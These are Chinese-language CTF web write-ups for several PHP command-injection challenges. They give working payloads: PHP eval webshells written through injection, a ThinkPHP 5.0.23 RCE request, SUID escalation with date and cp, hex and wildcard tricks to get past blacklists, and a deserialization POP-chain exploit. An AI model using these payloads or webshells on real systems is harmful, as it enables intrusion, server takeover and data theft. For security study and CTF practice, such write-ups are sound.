NewStar2023 So Baby RCE Again
源码：
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/bash|curl/i',$_GET["cmd"])){
echo "Hacker!";
}else{
shell_exec($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
无回显，尝试 ls / | tee /var/www/html/a，写入，访问a发现有结果
尝试 cat /ffll444aaggg | tee /var/www/html/b，但是访问b，没有结果，估计权限有问题，写个一句话拿shell看看
?cmd=echo "<%3fphp echo 'hello';@eval(\$_POST[cmd]);%3f>" > shell.php
写入成功，蚁剑连接，看看flag文件的权限
果然是权限不够，尝试suid提权，看看什么命令有suid root权限
date就有，直接date -f读取即可
NewStar2023 Final
一打开是thinkphp的首页，输入s=1，报错看版本信息
是5.0.23，使用对应的poc
get:/?s=captcha
post:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
但是没有回显命令的结果，估计是system被ban了，看一下phpinfo
post:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=15
phpinfo()函数其实是可以传一个整数参数进去的，随便传个
果然被ban了，用exec写个一句话
_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php echo "hello";@eval($_POST[cmd]);?>' > shell.php
蚁剑链接，发现没有权限去读flag
尝试suid提权
find / -user root -perm -4000 -print 2>/dev/null
cp有suid权限，直接cp /flag_dd3f6380aa0d /dev/stdout
在上网找资料的同时，还发现了thinkphp rce漏洞的自动化利用工具，https://github.com/Lotus6/ThinkphpGUI
是java工具，进入release下载jar包就可运行
不过写一句话getshell这里失败，估计也是用system实现的
xyctf:ez？make
过滤了f，l，a，g，？*；用16进制绕过
echo "636174206d616b6566696c652e706870" | xxd -r -p|sh
把十六进制数据用xxd转为二进制，再用shell执行
源码：
<?php
function waf($cmd) {
if (preg_match('/\n|\r|f|l|a|g|\?|\*|\;|\/|source|SOURCE|\$|\@/',$cmd)){
return false;
}
return $cmd;
}
$cmd = waf($_GET['cmd']);
if ($cmd === false) {
echo json_encode(array('makefileContent' => 'failed', 'output' => 'no'));
} else {
$makefileContent = <<<EOD
SHELL := /bin/bash
.PHONY: FLAG
FLAG: /flag
\t$cmd
EOD;
if (file_put_contents('Makefile', $makefileContent) !== false) {
$command = "make -f Makefile 2>&1";
$output = shell_exec($command);
echo json_encode(array('makefileContent' => $makefileContent, 'output' => $output));
} else {
echo json_encode(array('makefileContent' => 'failed', 'output' => 'failed'));
}
}
?>
xyctf:ezmakefile
用makefile执行系统命令的语法，如： ${shell,ls}
源码：
<?php
// 定义一个函数用于简单的命令注入防御
function waf($cmd) {
// 使用正则表达式检查命令中是否包含一些特殊字符
if (preg_match('/\/|\n|\r|\;|\|/i', $cmd)) {
// 如果命令中包含了特殊字符，则返回 false，表示命令不安全
return false;
}
// 如果命令安全，则直接返回命令
return $cmd;
}
// 从 GET 请求中获取命令参数，并通过 waf() 函数进行检查
$cmd = waf($_GET['cmd']);
// 如果命令不安全，则返回错误信息
if ($cmd === false) {
echo json_encode(array('makefileContent' => 'failed', 'output' => 'nonono'));
} else {
// 如果命令安全，则构造 Makefile 内容
$makefileContent = <<<EOD
# Makefile 内容：
# 设置 shell 解释器为 /bin/bash
SHELL := /bin/bash
# 如果环境变量 PATH 未定义，则重新定义为空字符串
ifndef PATH
override PATH :=
else
override PATH :=
endif
# 声明伪目标 FLAG，用于确保 Makefile 中的命令总是被执行
.PHONY: FLAG
# 定义 FLAG 目标，依赖于 ./flag 文件和用户输入的命令
FLAG: ./flag \t$cmd
EOD;
// 将生成的 Makefile 内容写入 Makefile 文件中
if (file_put_contents('Makefile', $makefileContent) !== false) {
// 构造执行命令
$command = "make -f Makefile 2>&1";
// 使用 shell_exec() 函数执行命令，并捕获执行结果
$output = shell_exec($command);
// 返回生成的 Makefile 内容和执行结果
echo json_encode(array('makefileContent' => $makefileContent, 'output' => $output));
} else {
// 如果写入文件失败，则返回错误信息
echo json_encode(array('makefileContent' => 'failed', 'output' => 'failed'));
}
}
?>
xyctf 牢大
题目源码：
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}
$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");
对cmd参数进行了过滤，用eval，但过滤了system，明显是无回显rce，而且长度有限制，只能用反引号执行命令
而且对长度有限制，只ban了fla，没有g、$，很明显可以用get参数逃逸对长度的限制
前面加了#，我们使用%0a，即换行绕过，因为#是单行注释，后面的manbaout可以用%23,即#注释掉，所以现在传的参数大概如下
?cmd=%0a`$_GET[b]`;%23&b=
看第二个过滤，其实已经提示了可以用cp或mv把flag带过来，但是路径表示不出来，后面看wp才发现，路径原来也能用通配符匹配
%0a`$_GET[b]`;%23&b=c''p /[e-g][k-m][0-b][e-h] /v[0-b]r/www/htm[j-m]
访问/flag即可得到flag
xyctf ezpop
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}
class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}
class CCC
{
public $c;
public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}
if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}
pop链很简单，异常也可以fast-destruct绕过，问题在于call_user_func如何让他套娃调用执行命令
call_user_func($a,$b)($c)($d);
已知$b是POST数组，所以$a要是操作数组的方法
想要出现system(‘ls’)的情况，$d设为ls即可，但是system怎么来呢？如果直接通过$a方法从$_POST中取出system，也是不行的，因为还有个$c
可以使用hex2bin方法，想办法在POST数组取出hex2bin，然后$c设为system的十六进制编码，执行完call_user_func($a,$b)($c)结果即为system，就能执行$d的命令了
所以exp：
<?php
error_reporting(0);
class AAA
{
public $s;
public $a;
}
class BBB
{
public $c;
public $d;
}
class CCC
{
public $c;
}
$obj=new CCC();
$obj->c=new AAA();
$obj->c->s=new BBB();
$obj->c->s->c='73797374656d';
$obj->c->s->d='cat /flag';
echo (serialize($obj));
# 去掉结尾的一个}，破坏序列化结构，
#O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:12:"73797374656d";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}
?>
post传
a=current&b=hex2bin
post中a赋值给$a后，就会被删除，所以直接current就能取到第一个元素b的值hex2bin
Dest0g3 520迎新赛SimpleRCE
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>
过滤了很多，尝试编码，拼接，\ .都被ban了
尝试hex2bin可以执行命令
hex2bin('73797374656d')(hex2bin('6c73202f')); #system('ls /');
后面直接读取flag即可
